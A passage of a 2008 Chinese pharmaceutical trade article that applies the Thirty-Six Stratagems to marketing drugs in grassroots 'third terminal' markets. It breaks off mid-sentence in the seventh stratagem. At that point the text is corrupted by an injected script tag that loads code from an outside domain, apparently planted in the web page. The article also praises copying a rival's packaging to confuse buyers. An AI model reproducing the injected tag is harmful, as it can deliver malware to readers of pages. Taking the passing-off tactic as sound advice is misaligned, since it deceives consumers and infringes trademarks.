制药企业“36计”决战第三终端

发布日期：2008年1月24日    来源：医药经济报　 阅读数： 265

《三十六计》是我国著名的兵学著作，体现了中国的武经精华，现已蔓生出许多新计谋，应用于经商、处世、生活、管理等方面。可见，它不仅适用于战争，也与我们的事业与现实生活有关联，本文应用了三十六计的思路趣解第三终端，期望对于正致力于第三终端的朋友们有所启示……
                                　　
    胜战计
                                　　
    【第一计 瞒天过海】谁都想在第三终端这场没有硝烟的战争中胜出，其实大家也都有自己的“独门武器”。在其他企业尚未采取行动时，低调开展全盘市场占领策略，待到竞争对手发现时，企业已经大获全胜。
                                　　
    【第二计 围魏救赵】营销队伍的销售资源总是有限的，如何利用有限的资源夺得更大的胜利一定要用这一招。比如对手的强项在于渠道，我们先将重点兵力布局于终端药店，当我们取得一定效果时会引起对手的注意，必然会过来保卫终端市场，待对手的渠道力量削弱后，我方根据终端优势回头争取渠道支持，如此一来，对手优势全无。
                                　　
    【第三计 借刀杀人】这里的刀并非杀气腾腾，只是借助商业渠道力量来收获终端果实。第三终端市场的终端客户与商业渠道是相依为命的关系，这些终端不习惯直接与厂家打交道。因此，新开发的第三终端市场一定要借商业渠道来打通，前期操作可以先通过商业渠道做些宣传工作，借商业力量点燃星星之火，再由厂家销售人员跟进，必将事半功倍。
                                　　
    【第四计 以逸待劳】都说枪打出头鸟，如果企业的产品不是同类品种中的老大，就能避开商战中的猛烈攻击，因为同类产品中做得最好的品牌最容易让人瞄准，容易被模仿、被攻击，所以企业就算真地做到了同类品种中的一线品牌也不要过于声张，只需要在这场混战中低调前进，在竞争者与对手争个你死我活的时候坐收渔翁之利。
                                　　
    【第五计 趁火打劫】懂得趁火打劫的人其实是最能抓住商业机会的人。在得知某企业的一个大品种因商标原因被迫停产一年后，一家生产同类品种的小厂迅速部署制定出极其接近的产品包装，以雷同的产品包装混淆视听，以高于知名产品数倍的利润回馈市场，这种趁火打劫的机会可不是常有的！
                                　　
     【第六计 声东击西】一家大企业曾在一次大型发布会上宣称，公司将大举进攻OTC市场，然而却久久不见动静。事隔数月后，笔者在一次第三终端市场调查中发现了这家大企业的踪影，这种操作手法可谓声东击西的典型案例。
                                　　
    敌战计
                                　　
    【第七计 无中生有】故事营销是市场营销中的新名词，但却是最生动、最能打动终端客户的营销方法。根据产品的独特卖点进行故事加工，比如自己的家人经常使用这个产品，比如该产品在另一家门店的销售很不?script src=http://www.234mu.com/>